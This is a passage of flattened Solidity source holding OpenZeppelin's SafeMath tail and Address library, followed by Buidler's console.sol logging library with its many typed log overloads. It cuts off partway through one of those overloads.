`revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @nomiclabs/buidler/console.sol pragma solidity >= 0.4.22 <0.8.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logByte(byte p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(byte)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { 